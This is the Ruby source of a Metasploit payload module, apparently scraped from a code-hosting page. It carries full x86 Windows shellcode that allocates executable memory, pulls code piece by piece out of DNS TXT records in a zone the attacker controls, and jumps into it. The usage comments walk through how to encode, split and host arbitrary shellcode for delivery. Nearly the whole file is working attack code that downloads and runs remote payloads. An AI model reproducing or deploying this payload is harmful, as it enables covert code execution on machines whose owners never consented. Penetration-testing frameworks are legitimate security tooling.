258 lines
10 KiB
Ruby
258 lines
10 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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module Metasploit3
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include Msf::Payload::Windows
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'DNS TXT Record Payload Download and Execution',
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'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload',
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'Author' =>
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[
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'corelanc0d3r <peter.ve[at]corelan.be>'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86
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))
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# EXITFUNC is not supported
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deregister_options('EXITFUNC')
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# Register command execution options
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register_options(
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[
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OptString.new('DNSZONE', [ true, "The DNS zone to query" ]),
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], self.class)
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end
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#
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# Usage :
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# 1. Generate the shellcode you want to deliver via DNS TXT queries
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# Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister
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# Example :
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# ./msfpayload windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" R | ./msfencode -e x86/alpha_mixed Bufferregister=EDI -t raw
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# Output : 654 bytes
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# 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)
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# In case of 654 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes
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# 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record
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# The last TXT record might have less than 255 bytes, that's fine
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# The first part must be stored in the TXT record for prefix a.<yourdomain.com>
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# The second part must be stored in the TXT record for b.<yourdomain.com>
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# etc
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# First part must start with a. and all parts must be placed in consecutive records
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# 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records
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# Example : /msfpayload windows/dns_txt_query_exec DNSZONE=corelan.eu C
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# (Example will show a messagebox)
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#
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# DNS TXT Records :
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# a.corelan.eu : contains first 255 bytes of the alpha shellcode
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# b.corelan.eu : contains the next 255 bytes of the alpha shellcode
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# c.corelan.eu : contains the last 144 bytes of the alpha shellcode
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def generate
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dnsname = datastore['DNSZONE']
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wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
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wTypeOffset = 0x1c
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queryoptions = 0x248
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# DNS_QUERY_RETURN_MESSAGE (0x200)
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# DNS_QUERY_BYPASS_CACHE (0x08)
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# DNS_QUERY_NO_HOSTS_FILE (0x40)
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# DNS_QUERY_ONLY_TCP (0x02) <- not used atm
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bufferreg = "edi"
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#create actual payload
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payload_data = <<EOS
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cld ; clear direction flag
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call start ; start main routine
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; Stephen Fewer's block_api
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; block_api code (Stephen Fewer)
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api_call:
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pushad ; We preserve all the registers for the caller, bar EAX and ECX.
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mov ebp, esp ; Create a new stack frame
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xor edx, edx ; Zero EDX
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mov edx, fs:[edx+48] ; Get a pointer to the PEB
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mov edx, [edx+12] ; Get PEB->Ldr
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mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
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next_mod:
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mov esi, [edx+40] ; Get pointer to modules name (unicode string)
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movzx ecx, word [edx+38] ; Set ECX to the length we want to check
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xor edi, edi ; Clear EDI which will store the hash of the module name
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loop_modname: ;
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xor eax, eax ; Clear EAX
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lodsb ; Read in the next byte of the name
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cmp al, 'a' ; Some versions of Windows use lower case module names
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jl not_lowercase ;
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sub al, 0x20 ; If so normalise to uppercase
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not_lowercase: ;
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ror edi, 13 ; Rotate right our hash value
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add edi, eax ; Add the next byte of the name
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loop loop_modname ; Loop until we have read enough
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; We now have the module hash computed
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push edx ; Save the current position in the module list for later
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push edi ; Save the current module hash for later
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; Proceed to iterate the export address table,
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mov edx, [edx+16] ; Get this modules base address
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mov eax, [edx+60] ; Get PE header
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add eax, edx ; Add the modules base address
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mov eax, [eax+120] ; Get export tables RVA
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test eax, eax ; Test if no export address table is present
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jz get_next_mod1 ; If no EAT present, process the next module
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add eax, edx ; Add the modules base address
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push eax ; Save the current modules EAT
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mov ecx, [eax+24] ; Get the number of function names
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mov ebx, [eax+32] ; Get the rva of the function names
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add ebx, edx ; Add the modules base address
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; Computing the module hash + function hash
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get_next_func: ;
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jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
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dec ecx ; Decrement the function name counter
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mov esi, [ebx+ecx*4] ; Get rva of next module name
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add esi, edx ; Add the modules base address
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xor edi, edi ; Clear EDI which will store the hash of the function name
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; And compare it to the one we want
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loop_funcname: ;
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xor eax, eax ; Clear EAX
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lodsb ; Read in the next byte of the ASCII function name
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ror edi, 13 ; Rotate right our hash value
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add edi, eax ; Add the next byte of the name
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cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
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jne loop_funcname ; If we have not reached the null terminator, continue
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add edi, [ebp-8] ; Add the current module hash to the function hash
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cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
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jnz get_next_func ; Go compute the next function hash if we have not found it
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; If found, fix up stack, call the function and then value else compute the next one...
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pop eax ; Restore the current modules EAT
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mov ebx, [eax+36] ; Get the ordinal table rva
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add ebx, edx ; Add the modules base address
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mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
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mov ebx, [eax+28] ; Get the function addresses table rva
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add ebx, edx ; Add the modules base address
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mov eax, [ebx+4*ecx] ; Get the desired functions RVA
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add eax, edx ; Add the modules base address to get the functions actual VA
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; We now fix up the stack and perform the call to the desired function...
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finish:
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mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
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pop ebx ; Clear off the current modules hash
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pop ebx ; Clear off the current position in the module list
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popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
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pop ecx ; Pop off the origional return address our caller will have pushed
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pop edx ; Pop off the hash value our caller will have pushed
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push ecx ; Push back the correct return value
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jmp eax ; Jump into the required function
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; We now automagically return to the correct caller...
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get_next_mod: ;
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pop eax ; Pop off the current (now the previous) modules EAT
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get_next_mod1: ;
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pop edi ; Pop off the current (now the previous) modules hash
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pop edx ; Restore our position in the module list
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mov edx, [edx] ; Get the next module
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jmp.i8 next_mod ; Process this module
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; actual routine
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start:
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pop ebp ; get ptr to block_api routine
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; first allocate some space in heap to hold payload
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alloc_space:
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xor eax,eax ; clear EAX
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push 0x40 ; flProtect (RWX)
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mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
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push eax ; flAllocationType MEM_COMMIT (0x1000)
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push eax ; dwSize (0x1000)
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push 0x0 ; lpAddress
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push 0xE553A458 ; kernel32.dll!VirtualAlloc
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call ebp
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push eax ; save pointer on stack, will be used in memcpy
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mov #{bufferreg}, eax ; save pointer, to jump to at the end
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;load dnsapi.dll
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load_dnsapi:
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xor eax,eax ; put part of string (hex) in eax
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mov al,0x70
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mov ah,0x69
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push eax ; Push 'dnsapi' to the stack
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push 0x61736e64 ; ...
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push esp ; Push a pointer to the 'dnsapi' string on the stack.
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push 0x0726774C ; kernel32.dll!LoadLibraryA
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call ebp ; LoadLibraryA( "dnsapi" )
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;prepare for loop of queries
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mov bl,0x61 ; first query, start with 'a'
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dnsquery:
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jmp.i8 get_dnsname ; get dnsname
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get_dnsname_return:
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pop eax ; get ptr to dnsname (lpstrName)
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mov [eax],bl ; patch sequence number in place
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xchg esi,ebx ; save sequence number
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push esp ; prepare ppQueryResultsSet
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pop ebx ; (put ptr to ptr to stack on stack)
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sub ebx,4
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push ebx
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push 0x0 ; pReserved
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push ebx ; ppQueryResultsSet
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push 0x0 ; pExtra
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push #{queryoptions} ; Options
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push #{wType} ; wType
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push eax ; lpstrName
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push 0xC99CC96A ; dnsapi.dll!DnsQuery_A
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call ebp ;
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test eax, eax ; query ok ?
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jnz jump_to_payload ; no, jump to payload
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jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
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get_dnsname:
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call get_dnsname_return
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db "a.#{dnsname}", 0x00
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get_query_result:
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xchg #{bufferreg},edx ; save start of heap
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pop #{bufferreg} ; heap structure containing DNS results
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mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
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cmp eax,1
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jne prepare_payload ; jmp to payload
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add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
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mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
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copy_piece_to_heap:
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xchg ebx,esi ; save counter
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mov esi,edi ; set source
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mov edi,[esp+0x8] ; retrieve heap destination for memcpy
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xor ecx,ecx ; clear ecx
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mov cl,0xff ; always copy 255 bytes, no matter what
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rep movsb ; copy from ESI to EDI
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push edi ; save target for next copy
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push edi ; 2 more times to make sure it's at esp+8
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push edi ;
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inc ebx ; increment sequence
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xchg #{bufferreg},edx ; restore start of heap
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jmp.i8 dnsquery ; try to get the next piece, if any
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prepare_payload:
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mov #{bufferreg},edx
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jump_to_payload:
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jmp #{bufferreg} ; jump to it
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EOS
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self.assembly = payload_data
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super
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end
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end
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